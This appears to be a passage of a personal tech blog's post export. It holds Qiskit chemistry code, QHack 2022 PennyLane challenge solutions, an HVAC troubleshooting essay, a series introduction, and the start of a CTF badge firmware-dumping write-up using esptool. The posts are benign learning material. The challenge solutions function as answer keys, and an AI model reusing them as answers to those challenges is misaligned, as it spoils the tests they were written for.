qiskit_nature.results.BOPESSamplerResult: The surface energy as a BOPESSamplerResult object. \"\"\" # Verify that `chemistry_inspired` and `hardware_inspired_trial` do not conflict if chemistry_inspired and hardware_inspired_trial is not None: raise RuntimeError( ( \"chemistry_inspired and hardware_inspired_trial\" \" cannot both be set. Either chemistry_inspired\" \" must be False or hardware_inspired_trial must be none.\" ) ) # Step 1 including refinement, passed in # Step 2a molecular_orbital_maker = PySCFDriver( molecule=molecule, unit=UnitsType.ANGSTROM, basis=\"sto3g\" ) # Refinement to Step 2a split_into_classical_and_quantum = ActiveSpaceTransformer( num_electrons=num_electrons, num_molecular_orbitals=num_molecular_orbitals ) fermionic_hamiltonian = ElectronicStructureProblem( molecular_orbital_maker, [split_into_classical_and_quantum] ) fermionic_hamiltonian.second_q_ops() # Step 2b map_fermions_to_qubits = QubitConverter(JordanWignerMapper()) # Step 3a if chemistry_inspired: molecule_info = fermionic_hamiltonian.molecule_data_transformed num_molecular_orbitals = molecule_info.num_molecular_orbitals num_spin_orbitals = 2 * num_molecular_orbitals num_electrons_spin_up_spin_down = ( molecule_info.num_alpha, molecule_info.num_beta, ) initial_state = HartreeFock( num_spin_orbitals, num_electrons_spin_up_spin_down, map_fermions_to_qubits ) chemistry_inspired_trial = UCCSD( map_fermions_to_qubits, num_electrons_spin_up_spin_down, num_spin_orbitals, initial_state=initial_state, ) trial_state = chemistry_inspired_trial else: if hardware_inspired_trial is None: hardware_inspired_trial = TwoLocal( rotation_blocks=[\"ry\"], entanglement_blocks=\"cz\", entanglement=\"linear\", reps=2, ) trial_state = hardware_inspired_trial # Step 3b and alternative if vqe: noise_free_quantum_environment = QuantumInstance(Aer.get_backend('statevector_simulator')) solver = VQE(ansatz=trial_state, quantum_instance=noise_free_quantum_environment) else: solver = NumPyMinimumEigensolver() # Step 4 and alternative ground_state = GroundStateEigensolver(map_fermions_to_qubits, solver) # Refinement to Step 4 energy_surface = BOPESSampler(gss=ground_state, bootstrap=False) energy_surface_result = energy_surface.sample( fermionic_hamiltonian, perturbation_steps ) return energy_surface_result With the structure setup, we can then execute and graph it out. q1_energy_surface_result = construct_hamiltonian_solve_ground_state( molecule=macromolecule, num_electrons=2, num_molecular_orbitals=2, chemistry_inspired=True, vqe=True, perturbation_steps=np.linspace(-0.5, 5, 30), ) plot_energy_landscape(q1_energy_surface_result) The last question we needed to answer was whether this interaction bonded or not. Sadly, based on the energy landscape graph we have to answer: D. No, there is no clear minimum for any separation, so there is no binding. While this wasn’t a great ending for our toy Anti-Retroviral, it at least shows us how we can structure such problems in a quantum space, and just how much of an impact a speedup in this space could result in. Conclusion As usual, I left this event having learned much more than I started it with. Even though I don’t fancy myself a future virologist learning how a space like Quantum Computing could intersect with other fields, and just how important it is that we are talking to one another and cross polinating our specific areas of focus. When we all work together, building upon one another, we will move the collective human needle forward. I’m excited for my small part in that journey so far, and I cannot wait to see where it takes me. As always thanks folks, until next time!" }, { "title": "QHack 2022 - Coding Challenge Highlights", "url": "/quantum-computing/2022/03/06/xanadu-qhack2022/", "categories": "quantum-computing", "tags": "pennylane, quantum-computing, quantum challenge, quantum machine learning", "date": "2022-03-06 08:00:00 -0500", "content": "Introduction After last year’s event success and the sheer amount of Quantum computing and Quantum Machine Learning that was learned I was looking forward coming back to the coding challenges in 2022. Focusing on Xanadu’s Pennylane offering, this year was broken down into 5 categories: Pennylane101, Algorithms, Games, Chemistry, QML, each with 5 challenges increasing in difficulty. Overall the look and feel was similar from 2021, down to the submission portal and “Jury” clarification system to send questions to the team running the event. I feel the difficulty of the challenges was mostly appropriate. Not coming from any official Quantum Computing background (you can pretty much see most of my self-education through the various posts I’ve made here) I was happy to say that there were a few challenges where I read the description and could almost immediately pinpoint the approach we would need to leverage - partial spoiler to Games 400/500 below. There were a few frustrating points as with any event I’ve participated in, and I’ll list those out in more detail near the end. I wanted to take a different approach to writing up this event. I’ll be sharing my solutions on github, however I wanted to highlight a few of the challenges I really enjoyed. Instead of focusing on any specific track, like last year’s post-event, I’ll this year I’ll be covering challenges that either covered a specific quantum computing concept in practice, or challenges that expanded something otherwise trivial, that I wouldn’t have thought of implementing prior to Qhack. These types of practical implementation takeaways are where events like QHack shine; combine a hands-on approach, with a gamified learning angle, and you end up not only with learning specific implementations in the context of an academic challenge, but also ability to take that knowledge and find interesting places to apply it in everyday situations. Without further delay join me as I go over my favorite coding challenges of QHack 2022. Games 100 - Tardigrade Ah entangling living things! I remember when the Tardigrade paper came out December 2021 - I was excited when I saw that we would essentially be emulating the experiment through code. Little did I realize that this challenge would pose one of the biggest challenges to me. Being completely honest, many of the higher difficulty challenges, even within the Games category, were done before I finished this one. Why this one makes the list for interesting challenges was less in the solution itself, and more the eye opening process of how to apply the theory directly in code. At its base, Games 100 requires us to prepare two states. The first being a maximally entangled Bell State, and the second introducing a third entangled qubit, representing the tardigrade. With the two states the goal is to calculate the level of entropy in the system, and see if introducing the tardigrade impacts the system. Bell State: Tardigrade State: In the template given to us for the challenge we first need to prepare the Bell state, calculate the entropy, and prepare the first part of our result, essentially the baseline. The Renyi entropy calculation function was provided, so this first part was trivial. result = [] dev_n = qml.device(\"default.qubit\", wires=2) @qml.qnode(dev_n) def circuit_no_t(): qml.Hadamard(wires=0) qml.CNOT(wires=[0, 1]) return qml.density_matrix(wires=[1]) test1 = circuit_no_t() result.append(second_renyi_entropy(test1)) For the tardigrade state we needed to add a few more steps. The initial theory I was working with was approaching it from preparing the Bell state between qubits AB and then introducing \\(\\left|e\\right&gt;_{BT}\\) and \\(\\left|g\\right&gt;_{BT}\\) to create the overall \\(\\left|\\psi\\right&gt;_{ABT}\\) state. While I was trying to do by gates, using illustrative tools like IBM's Q Explorer, I wasn't quite able to get it. The \"a-ha\" moment was when I took a step back and went to basics if you will. Instead of trying to get the end state gate by gate, I realized I could calculate the required statevector by hand, then apply it to the three qubits to get \\(\\left|\\psi\\right&gt;_{ABT}\\) directly. This is why I say this particular challenge was important. Not for the end state of emulating a tardigrade (although I'll be honest it's a pretty cool thought experiment!), but more of a breakdown of _how_ the math works. From going to the initial equations and breaking it down to a point you can represent it in code with a one-liner - that is something that I will be able to take forward with me, in future, tardigrade-less problems. $$ \\begin{align*} \\left| e \\right&gt;_{BT} = \\begin{bmatrix} 0 \\\\ \\cos{(\\frac{\\theta}{2})} \\end{bmatrix} \\otimes \\begin{bmatrix} 1 \\\\ 0 \\end{bmatrix} + \\begin{bmatrix} \\sin{(\\frac{\\theta}{2})}\\\\ 0 \\end{bmatrix} \\otimes \\begin{bmatrix} 0\\\\ 1 \\end{bmatrix} \\end{align*} $$ $$ \\begin{align*} = \\begin{bmatrix} 0\\\\ 0\\\\ \\cos{(\\frac{\\theta}{2})}\\\\ 0 \\end{bmatrix} + \\begin{bmatrix} 0\\\\ \\sin{(\\frac{\\theta}{2})}\\\\ 0\\\\ 0 \\end{bmatrix} \\end{align*} $$ $$ \\begin{align*} = \\begin{bmatrix} 0\\\\ \\sin{(\\frac{\\theta}{2})}\\\\ \\cos{(\\frac{\\theta}{2})}\\\\ 0 \\end{bmatrix} \\end{align*} $$ Then: [\\begin{align} \\left| g \\right&gt;_{BT} = \\begin{bmatrix} 1 0 0 0 \\end{bmatrix} \\end{align}] Which allows us to get the final overall state we want: [\\begin{align} \\left|\\psi\\right&gt;_{ABT} = \\frac{1}{\\sqrt{2}} \\bigl( \\left| 0 \\right&gt;_A \\otimes \\left| e \\right&gt;_{BT} + \\left| 1 \\right&gt;_A \\otimes \\left| g \\right&gt;_{BT}\\bigr) \\end{align}] [\\begin{align} = \\frac{1}{\\sqrt{2}} \\Biggl( \\left| 0 \\right&gt;_A \\otimes \\begin{bmatrix} 0 \\sin{(\\frac{\\theta}{2})} \\cos{(\\frac{\\theta}{2})} 0 \\end{bmatrix} + \\left| 1 \\right&gt;_A \\otimes \\begin{bmatrix} 1 0 0 0 \\end{bmatrix} \\Biggr) \\end{align}] [\\begin{align} = \\frac{1}{\\sqrt{2}} \\Biggl( \\begin{bmatrix} 0 \\sin{(\\frac{\\theta}{2})} \\cos{(\\frac{\\theta}{2})} 0 0 0 0 0 \\end{bmatrix} + \\begin{bmatrix} 0 0 0 0 1 0 0 0 \\end{bmatrix} \\Biggr) = \\begin{bmatrix} 0 \\frac{1}{\\sqrt{2}}(\\sin{(\\frac{\\theta}{2})}) \\frac{1}{\\sqrt{2}}(\\cos{(\\frac{\\theta}{2})}) 0 \\frac{1}{\\sqrt{2}} 0 0 0 \\end{bmatrix} \\end{align}] Alright what a Math trip! So we have the final “state” we want to model, but how do we get that done? Ends up Pennylane has a simple way to accomplish that with QubitStateVector. We can take the statevector we manually went through and assign it directly. @qml.qnode(dev) def circuit_theta(theta): ## trying to set the statevector directly from formula qml.QubitStateVector(np.array([ \\\\ 0, \\\\ (1/np.sqrt(2))*np.sin(theta/2), \\\\ (1/np.sqrt(2))*np.cos(theta/2), \\\\ 0, \\\\ (1/np.sqrt(2))*1, \\\\ 0, \\\\ 0, \\\\ 0]), wires=range(3)) return qml.density_matrix(wires=[1]) test2 = circuit_theta(theta) result.append(second_renyi_entropy(test2)) This was the important part I took away from this challenge. While struggling with how to accomplish the same end result by a gate-by-gate basis, if you took a step back and understood what we were trying to accomplish, you can take that understanding and implement it directly. Pennylane101 500 - BitFlip Error Correction Error correction! While this wasn’t the first time I’ve gone through implementing QEC, I feel this particular challenge helped explain more of the “why”. When starting out on this quantum journey I was happy with just implementing and seeing it work, but now I want to go a layer deeper and start understanding why something is working. In this challenge we will be provided with two inputs - which qubit will have the error correction introduced, and at what probability. Our goal is to determine what the output probabilities for each qubit to have an error introduced, including the overall probability that no error is detected. Reading more on the QEC theory we can boil down what we are trying to do with the following blurb: Which can be accomplished with the following circuit template. Pennylane makes this implementation trivial with its BitFlip function, passing the probability, and which wire - both which are being supplied for us from the different input files. qml.QubitDensityMatrix(density_matrix(alpha), wires=[0, 1, 2]) qml.CNOT(wires=[0, 1]) qml.CNOT(wires=[0, 2]) qml.BitFlip(p, wires=int(tampered_wire)) qml.CNOT(wires=[0, 1]) qml.CNOT(wires=[0, 2]) qml.Toffoli(wires=[2, 1, 0]) All that is left at this point to is return the probability output of our two ancillary qubits. These values will represent out error proabilities. return qml.probs(wires=[1,2]) For the challenge, we need to return the probabilities in a specific format. That is simple enough to accomplish with the understanding of what values are represented in the circuit’s probability output. result = [] result.append(circuit_output[0]) #probability of no error result.append(circuit_output[3]) #probability of error on qubit 0 result.append(circuit_output[2]) #probability of error on qubit 1 result.append(circuit_output[1]) #probability of error on qubit 2 And that’s it for the challenge. Based on the external resources above you can see how we could use this type of approach and apply a PauliX gate to the “errored” qubit. This type of action can prove invaluable in the NISQ era where we will be running into noisy infrastructure and learning how to apply QEC techniques. Logic Challenges - Games 400/500 Both Games 400 and 500 are probably my favorite challenges of this year’s edition. Firstly because they were logic challenges - Quantum implementations of classic logical problems many of us have gone through before. These challenges allowed us to step through how to “Quantize” them from the classical world into our Quantum one. The second reason why I consider these challenges as my favorites are because they build into a core concept applicable in many algorithms and solutions we see out there - namely Phase Kickback. By solving Games 500 you really had to understand not only Phase Kickback works, but how you can use the interaction to glean useful information of our solution state in the context of a logic problem. Games 400 - Find the Car We started off with adapting the classic “pick a door” challenge with Games 400. The problem can be simplified down to we are presented 4 doors, behind one of them is a car, and our challenge is determine which door that is by leveraging an oracle (a fancy way of saying a function that will let us know if the right door is picked). When the right door is selected, assuming above that the two qubits representing our the 4 door options is \\(\\left|01\\right&gt;\\), the oracle PauliX flips and brings our input to \\(\\left|01\\right&gt;\\), at which point the Toffoli gate would flip our third \"sol\" qubit representing we have found the car. It is trivial to see that any other combination of door selection would not result in the solution being triggered by the Toffoli gate. Ok, we have the oracle setup here, so what’s the challenge? Herein lies the logical application. We have a one-to-one. If we run our circuit through the oracle and then measure, we have a definite answer on whether it was the right door or not. With 4 doors, that means we would need at most 3 measurements in a worst case scenario. The challenge is that we are restricted to making only 2 measurements. So in that worst case scenario where our first two choices are not correct, that still leaves a 50/50 between the remaining two doors. Ok, we can do better than that… can’t we? What happens if we combine two checks together? We were told we could only measure twice, but what about doing multiple oracle checks before making the measurement? Would that provide us any additional information? The following snippet shows how we would check for both 00 and 01 within the single measurement. @qml.qnode(dev) def circuit1(): # QHACK # oracle() qml.PauliX(1) oracle() # QHACK # return qml.sample() So if the correct door is either 00 or 01, our solution would be flipped. This is potentially useful… but how? If we checked 00 and 01 in one measurement, then 10 and 11 on the second measurement we have narrowed the solution down to one of the two sets of doors, but we still don’t have a definitive answer. Ok let’s use this information and build on it. What if we overlay the measurements? Check 00 and 01, then 00 and 10? That seems like it would give us a concrete answer. @qml.qnode(dev) def circuit1(): # QHACK # oracle() qml.PauliX(1) oracle() # QHACK # return qml.sample() @qml.qnode(dev) def circuit2(): # QHACK # oracle() qml.PauliX(0) oracle() # QHACK # return qml.sample() sol1 = circuit1() sol2 = circuit2() ''' So the two circuits check for 00 + 01 and 00 + 10 Then depending on the output it's 100% defined If sols are 1/0 = 01 door If sols are 0/1 = 10 door If sols are 1/1 = 00 door If sols are 0/0 = 11 door ''' # process sol1 and sol2 to determine which door the car is behind. sol11 = sol1[2] sol21 = sol2[2] if sol11 == 0 and sol21 == 0: return 3 if sol11 == 1 and sol21 == 1: return 0 if sol11 == 1 and sol21 == 0: return 1 if sol11 == 0 and sol21 == 1: return 2 And there we go, Games 400 completed. This was a good first step to adapting a classical problem to a quantum circuit, but as we shall see in Games 500, we can take this even further! Games 500 - Switches Let’s do another classic - the light switch logic problem. There have been many flavors over the years, and this one is no different. The main difference is that the switches here are acting in an adversarial approach - specifically if two individual switches would turn on the bulb, if both are toggled the light will turn off. This will need to be taken into consideration as we approach the solution. We can start the solution by approaching this the same way we did Games 400 - adopting the problem statement into a quantum model. Since our solution needs to be flexible enough to work with different sets of switches that “turn on” the bulb we can model it as an oracle. Ok this sets our stage. Now to start thinking about how to implement it. Since we can only do a single measurement we wouldn’t be able to follow the same overlapping solution we used in Games 400. My thinking going into it was that we needed to be able to gather information on a single switch basis. If we were to use a few ancillary qubits this becomes trivial, store the results per switch into the ancillary qubits, however we are working with a strict 3 switch and 1 bulb model. This is where the Quantum concept of Phase Kick-Back comes in. The documentation is worth reading in its entirety but the condensed version is that by moving away from the Z-basis (computational basis) to the X-basis using Hadamards we can “transfer” back information from our lightbulb when it is turned on. In short, I will use the switch qubit itself to store whether it turns on the lightbulb. To give an example of how we can leverage phase kick-back let’s look below at a simplified example with 1 switch and bulb. The oracle in this case is just a CNOT to illustrate the concept but can work with any complex oracle that allows the switch to turn on the bulb. If you follow the circuit you will notice that when the switch doesn't doesn't turn on the light we finish off with \\(\\left|00\\right&gt;\\). If the switch does trigger the oracle however... then while we end up resetting the light bulb, the switch itself remains \"on\", giving us an indication that the state was kicked back from the turned on bulb. With this we can then expand the process for multiple switches and come up with a suitable approach. qml.PauliX(0) oracle() qml.Hadamard(0) qml.Hadamard(\"light\") qml.CNOT(wires=[0,\"light\"]) qml.Hadamard(\"light\") qml.Hadamard(0) qml.PauliX(0) qml.CNOT(wires=[0,'light']) qml.PauliX(0) qml.PauliX(1) oracle() qml.Hadamard(1) qml.Hadamard(\"light\") qml.CNOT(wires=[1,\"light\"]) qml.Hadamard(\"light\") qml.Hadamard(1) qml.PauliX(1) qml.PauliX(0) qml.CNOT(wires=[1,'light']) qml.PauliX(0) qml.PauliX(1) qml.PauliX(2) oracle() qml.Hadamard(2) qml.Hadamard(\"light\") qml.CNOT(wires=[2,\"light\"]) qml.Hadamard(\"light\") qml.Hadamard(2) qml.PauliX(2) qml.PauliX(1) qml.PauliX(0) qml.CNOT(wires=[2,'light']) return qml.sample(wires=range(3)) We need to pauliX the subsequent switches and at first it may not seem intuitive. If the previous switch does not trigger the light, then turning it “on” would not impact the overall check for the next switches. If however the lower switches do trigger the light, we need to temporarily turn them “off” to check the subsequent switches. By cascading the checks in this way we are testing each switch individually and ensuring the kick-back sample measurements provide us the correct solution. I really enjoyed this challenge as it does not only cover an important quantum computing concept, but goes a step further and allows us to explore how we can leverage it practically. Phase kick-back is an important concept in itself, but also becomes an important part of more complex algorithms like Grovers. Reflective Summary With that we reach the end of the coding challenge coverage. I am happy to have participated, however with the event lasting almost two weeks I’m also happy to take a break now that it’s over. While the challenges themselves were awesome I did have a few comments on the event structure itself. The Challenge Portal Having a single login for each team is… frustrating. Coming from a decade of working in Identity and Access Management, sharing credentials for a single team grinds my gears. I would love to see a CTFd style implementation for individual sign up and team structure. Community Discussions While struggling against the challenges is literally part of the process, I felt there was a miss on the learning angle throughout the event. This felt more like a pure competition than an event focused on getting participants to learn. If that was the ultimate goal by the organizers, great, however I feel the approach to team discussion was a bit too harsh. By restricting the cross talk in slack the team did avoid spoilers or solutions from being shared. I completely agree with keeping the event clean from that perspective. However considering the amount of teams and individuals involved from around the world, I was shocked at how little the community was chatting. In the last two years I’ve participated in many different events in Quantum while I have also been involved in the CyberSecurity CTF world for many years. In short, I love participating in gamified learning events. What I can say is that building that community, having those conversations, and fostering those people connections were arguably as important, if not more important, than the knowledge gained in the event itself. I feel that QHack this year was very focused on a “sanitized” environment, which did steer individuals to self-learning, in itself a good thing, but considering the global nature of the participants I would have loved to see more interaction on the coding challenges similar to what I saw in the twitch sessions. Event Length I’m torn on this last point. While I appreciate the two weeks to work on challenges on my own time, the two weeks were basically living and breathing QHack only. I would love to see potentially a more condense event in the future, maybe a week, where people could buckle down without feeling burnt out by the end. With all this said - I highly suggest this amazing event. To anyone thinking about participating in these types of Quantum hackathons I simply say “take the plunge”. Regardless of your background, there is something to learn and you will come out of it knowing more than you did going in. Here’s to QHack 2023. I’m looking forward the next iteration already! Thanks folks, until next time!" }, { "title": "HVAC and InfoSec - What a Pair!", "url": "/trench-talk/2022/01/25/real-life-parallels-hvac/", "categories": "trench-talk", "tags": "SRE, troubleshooting, real-life", "date": "2022-01-25 08:00:00 -0500", "content": "Introduction HVACs, InfoSec, recruitment practices - what do these topics have in common? As we shall see surprisingly a lot! I recently had a chance to take a small vacation recharge mentally and physically. Unfortunately near the end I ran into a slightly uncomfortable situation. In the middle of a heat wave my HVAC system decided to stop working effectively! With temperatures reaching over 40C with humidex it quickly became an \"outage\" situation and despite my lack of HVAC knowledge my troubleshooting instincts kicked in and I dove right into figuring out what was wrong. What I started to notice was that regardless of the domain, if we approach it with an inquisitive mind our established processes and methodologies can directly translate to helping us organize a logical troubleshoot &amp; resolution. System Components First thing first - a disclaimer. I am by no means a professional HVAC engineer. I highly suggest you engage a professional to ensure everything is done properly. In the following situation I ended up doing surface level investigations and actions, however if I would have had to go deeper I would have engaged someone who understood the underlying systems better (engaging the vendor SME). With that out of the way - the next thing we need is a cursory understanding of how HVAC systems work. A high level diagram explaining the main components is below. Where the indoor coil is part of the furnace, and the outdoor coil is the unit outside on the side of the house. The beauty of an HVAC system is that the reversing valve essentially changes the direction of the flow allowing the cooling to be done on the indoor coil (AC in the summer) or have the cooling exhausted outdoor in the winter (heating on the indoor coils). Supplement this with an electric furnace for those cold Canadian winters and we are setup for anything... when it works. Incident Start Alright so how did this all start? Essentially one more I noticed two things. First, that the temperature in the house was creeping up slightly. Secondly that the air coming out of the bedroom vent was not as strong as it usually felt. Sure enough as I took a look at the thermostat it confirmed my suspicions. This only got worst throughout the day as the outside temperature also rose. Clearly the AC was not able to keep up with the overall environment (service degradation in being able to process heat backlog) and I kicked into troubleshooting mode. I may not know the ins and outs of cooling systems but with a methodic approach I should at least be able to deduce something! Investigation Alright so what first? I ended up doping a visual inspection of the thermopump outside. Unrelated to _this_ situation I had previous issues with the external unit and I figured I would start there (Previous post-mortem lessons learned). Immediately I noticed some freezing on the refrigerant line. Considering by this point it was 28C outside there really should not have been ice building up - that's not a good sign. I stopped the entire system, cleared the ice, restarted the cooling, and hoped that this was a one time issue. *Morgan Freeman voice* Surprising no one, it was not. Within 30 seconds of the cooling having started I noticed new frost building up. Ok that wasn't it. Back to the drawing board. What else can I check? To rule out whether the cooling was working at all I took the only thermometer available at the moment (trusty old meat thermometer!) and very inaccurately tested the ambient temperature and the air coming out of the vents. This was accurate enough to at least confirm there was a ~23F difference between the two - so clearly the air is at least being cooled. So what do we know at this point? The air is actually being cooled as measured There is ice build up on the external unit The air flow seems reduced Since the air is being cooled the air flow being reduced could explain why the cooling isn't permeating throughout the house. What can cause that? Hum...the air filter! Time to go check it out. Even though I was within the recommended 6 month lifespan (expiry) of the filter, it was visibly dirty (degraded). This could definitely lead to clogging the overall air flow. Quickly off to the hardware store I grabbed a replacement and swapped in a fresh filter. Sadly this did not seem to increase the air flow by any measurable difference. At this point I felt I needed to engage a professional. Thankfully I had one more card to play before getting to that point. One of my good friends has a depth of knowledge in the field (Internal SME). I gave him a call and explained everything I had seen or done up to this point. It was at this point he explained how the fan strengths are generally set for furnace/HVACs. The blower fans have an internal wiring circuit that generally has settings 1 through 5 for strength. A similar 3 speed diagram is below - just imagine there are an additional 2 speeds for my unit. While in general you should see something like \"low\" being 2, and \"high\" being 4, my friend explained there was a possibility that the wiring was done all to a single speed. This could explain why the overall airflow is lower, however since the reduced airflow was a symptom observed it wouldn't match up to being badly configured initially. Either way it was an easy area to confirm so I took off the furnace panel and checked. Sure enough as you can see they are set to 2 and 4. So nothing odd there. The keen observer might notice something interesting however. We saw some ice build up outside right? Well we also see some ice build up on the coils itself in the furnace section! Wow, ok! That layer of ice would definitely block airflow. As I talked with my friend we established a few more points that lead to the actual root cause. Increasing fan speed increases the back pressure in the overall system which can lead to freezing. Dirty air filters will slow down the flow of air, leading to a similar back pressure build up. Closing various vents in the house (in an attempt to \"focus\" the cooling) will also lead to a pressure build up. With all of these points culminating together, some self-inflicted as attempted workarounds, the system degraded enough to reach the point where condensation was freezing. At this point the system was caught in a degrading loop and would most likely not get better by itself. Resolution Resolution was simple enough once the root cause was identified. Turn off the system, clear the ice off the coils. I ended up flipping the reversing valve (turned on the heat instead of AC) for a few minutes despite the outdoor temp being north of 30C to clear the remaining ice. Once everything was clear, the air filter was changed, and the closed vents throughout the hour were opened up - I restarted the system. After a few minutes of run time the coils stayed clear! I ended up letting the system run at this point. After another 30 minutes the thermostat registered a half degree drop while the external temp rose by a full degree. Success! Time to let the system do its thing and catch up (drain the backlog of heat built up). Summary It wasn't until after everything was done did I really appreciate how much of my day-to-day behavior kicked in during this situation. At initial glance there was a problem, and everything in my nature wanted to understand why this problem was happening. I could have easily thrown in the towel right off the bat and called an HVAC specialist, however I would have robbed myself of the chance to learn more about how the system worked. To finish off the \"process\" part - I also learned through a root cause analysis and post-mortem to make sure I had proper visibility to the health of the system. I've implemented a monthly check-in (monitoring) to hopefully catch early degradation of the system and prevent this level of impact in the future. Candidate Mentality Another aspect I wanted to touch on from this situation is the parallels to hiring experiences. As a hiring manager you see all types of candidates - some technically deep, some a little less deep but more broad, some who don't have a technical background necessarily. One of the things I look for when reading over resumes or talking with potential candidates is to understand how they think and approach a problem. A lot of the time when I'm asking a question I'm less interested in the answer itself and more interested in how someone approaches it. Did they follow the standard path? Did they come up with an innovative approach? Did they ask clarifying questions or make assumptions? If they did make assumptions, what was the base for those? By allowing ourselves to see past the hard qualifications we can start to build a mentally broader, more diverse team, that will potentially lead to solutions and approaches that would not have been possible otherwise. How we define 'qualified' must change. Sticking to old-school criteria and strict educational requirements will result in missing great team members, and make bridging the resource gap harder than it already is. Thanks folks, until next time!" }, { "title": "Trench Talk - An Infosec Ops Team Series", "url": "/trench-talk/2022/01/24/life-in-the-trenches/", "categories": "trench-talk", "tags": "operations, iam, musings", "date": "2022-01-24 14:00:00 -0500", "content": "Introduction But the materials were the least significant aspect of our training. The relevant bits, the ones I would recall two years later, were the war stories... &emsp;- Michael Lewis - Liar's Poker A new year, a new series. Looking at my previous posts there is a trend of diving, deeply, into technical topics. While 2022 is lining up with several events that will help continue that trend, I wanted to also explore a different angle - discussing some hard learned lessons over the years and sharing some of how I think, or more importantly how I learn. With 2022 I’m rounding off my first decade in the industry and I have to say… what a ride so far! With global scale issues like shellshock, more recently log4j, and the overall evolution of my role, team, and responsibilities through situations like a global pandemic, I’ve had the opportunity to see and adapt to many “new” things over the years. Even as such, I don’t consider myself an expert in any specific field. If anything, the last decade has shown me that while I learned a lot, just how much I don’t actually know. With that came an important realization that it’s less important what I know and how quickly I can learn something. I realized that I really enjoy solving problems. Regardless whether it is pre-built academic challenges, or real-life issues, I love the challenge of understanding why something works (or doesn’t work) the way it does. I’ve built up some intuition and general “gut feelings” when approaching certain situations and this curiosity is what I attribute partially to some of success I’ve had. Some of this is teachable, depending on how you best learn - in terms of concepts, patterns, or thinking approaches. Others, you really need to go through first-hand to appreciate and solidify the knowledge or process. I’m hoping with this series to share a bit of both! As I’m sure anyone who has read my posts is not surprised, I learn best when I am hands-on. The first tidbit of knowledge on how my learning method works is not only to do it directly, but then turn around an make myself have to explain it terms that almost anyone can understand. This can be explained simply using the Feynman Technique (see what I did there?). Partially the reason for starting this blog in the first place, if I am not able to explain something in simple terms, I tell myself I don’t know it well enough and I continue with the iterative approach. By forcing myself to look back at the last decade and condense topics down to an article or two, I’m embracing this even further. While I’ve been able to do this from a concrete, technical perspective, approaching this with more conceptual topics will present a new set of challenges for me to tackle. So what am I covering? I want to break down the topics of this series into four core topics - IAM, Operations, Team Evolution, and Up-Skilling. All with an overarching theme of hard lessons lessons-learned “in the trenches” of having to deal with it first-hand. Demystify Identity and Access Management concepts Is an IAM team in the realm of Infosec, infrastructure, both? What is the difference between an Identity and an Account? What is the conceptual difference between Data Owner and Data Custodian? As part of an attempt to evangelize a topic I feel can use more clarity I’ll cover a few of the pain points I’ve had to deal with in one way or another over the years. Give some insight from the trenches Outages and incidents are part of life as an operations team. One of the first things I had to really learn was that it’s not about if, but when, and being prepared for that situation. Over the last decade I have been part of, and occasionally have caused, outages of all sizes. Outside of the focus of getting back up and running quickly, which can be its own unique challenge, the main takeaway from these situations is how we learn from them - the post-mortem. Analyzing what went well, what could have been better, and ultimately - how do we ensure that we don’t end up in a similar situation in the future. Talk about my Operations team's evolutions The industry has changed a lot in the last several years. This should not be a surprise to many, as the nature of the field itself is dynamic and ever-changing. I wanted to go over some specific trends I’ve experienced, from a separate Operations and Engineering structure, to a consolidated Identity and Access Management approach, to newly adopted DevOps and SRE methodologies. I’ll also talk about what I wish I would have had when starting, from technical training and process documentation, to building a 8 week “mini-capstone” onboarding program and efforts to improve future onboardings experiences. Talk about the challenges of up-skilling One of my favorite topics is training and development. I legitimately enjoy learning a new concept, getting hands-on in something new, and enabling an environment that helps my teams and myself an opportunity to grow. Over the years I’ve lead and been part of various Training committees, helped run innovation style events, including CTF events with custom built challenges, and helped form and run grassroots efforts on emerging technologies such as Quantum Computing. The commonality to all of this - continuously improving ourselves. In these posts I’ll cover how I got started, and some of the challenges and what worked to make these efforts a success over the years. Additionally to what worked, I’ll cover what I wish I could have done with some of these efforts and where I’d like to see these move towards in the upcoming years. Summary A lot has happened in the last 10 years. Join me as I go down the rabbit whole of aspects both good and painful that I’ve ran into during this time. I’ll also demonstrate some of the skills I use during my day job also translate to my personal life, and more specifically how this type of “analytical thinking” is something I look for in potential candidates. Technical competences are great, but if someone has an ability to be taught how to fish and then having them turn around and automate an entire fishing process, that is the environment I want to find myself in and am working towards fostering. Thanks folks, until next time!" }, { "title": "NSEC 2021 - Badgelife - Firmware RE", "url": "/ctf/2021/05/30/nsec2021-badgelife-pt2/", "categories": "ctf", "tags": "nsec2021, ctf, reverse-engineering, ghidra, esp32, hardware", "date": "2021-05-30 12:03:00 -0400", "content": "Introduction Time to dig deeper! As I loosely mentioned in my Badgelife Part 1 post capturing the flags through the game and surface level interactions was only the beginning. Even after the first 9 flags were completed we still had a missing flag on the UI bar. We were given the information that the only way to \"capture\" that flag was going to be directly modifying the firmware or memory. This provided me an opportunity to dive further into hardware hacking and reverse engineering in general. I knew from the moment I read that tidbit that I would be diving right in and not looking back. This article continues where my first finished and hopefully also fills in some of the gaps on the \"alternate solutions\" I presented there. I'll step through the hardware inspection and approach, the initial firmware dump process, the NVS partition debugging, and finally the firmware modification and flashing. I don't pretend to be any form of expert on these parts, this was afterall my first #badgelife interaction, however I hope to share some of the knowledge I gained during the journey. Let's get into it! Hardware Background We already know we are working with an ESP32 chip, specifically ESP32-WROOM-32E. I started searching for the information and quickly found the chip's datasheet from the vendor. This started giving me a better understanding of the various GPIO pins on the chip with the full schematic. Through some quick googling I initially thought I would need to leverage the badge's JTAG interface as part of the overall RE efforts. This ended up not being the case, however allowed me to learn a bit more about the hardware, and JTAG in general. Following the traces on the board I was able to map the initial button and JTAG connections. This also gave me an excuse to break out the multimeter for the first time in years. Based on the spec sheet I could confirm which ports were high/low. While not necessary to continue it ended up being useful later on when trying to figure out bootloader options. Firmware Dumping It was around this point that I ran into esptool - which describes itself as: A Python-based, open source, platform independent, utility to communicate with the ROM bootloader in Espressif ESP8266 &amp; ESP32 series chips. Well that seems like something we might want to use. Based on the documentation this would allow us to work with the bootloader over the UART (serial) connection rather than having to create/get a JTAG interface for the board - sounds good! Enter a bit of lacking knowledge, but further learning. When I got esptool setup and tried interfacing with the badge it didn't seem to be working. It would just time out and throw errors. Alright back to the documentation. I quickly found something that seemed interesting. If you look at the back of the board we have a BOOT button. Let's break out the multimeter and test out a few things. In addition to the multimeter I had the badge connected through the UART ports to capture any messages thrown. When just pressing the SW EN reset button, sure enough GPIO 0 was high and we see a normal flash boot entered. Next up, holding down the BOOT button while pressing SW EN we do see GPIO 0 go low, and subsequently see the badge enter bootloader. Awesome! Now all that's left is to kick off esptool while it's bootloader! Right? Maybe? Maybe not... Try as I might even when in bootloader mode I wasn't able to get esptool to work with the badge. Even the documentation itself was telling me this should be working. What took me way too long to realize was that I needed to pull GPIO 0 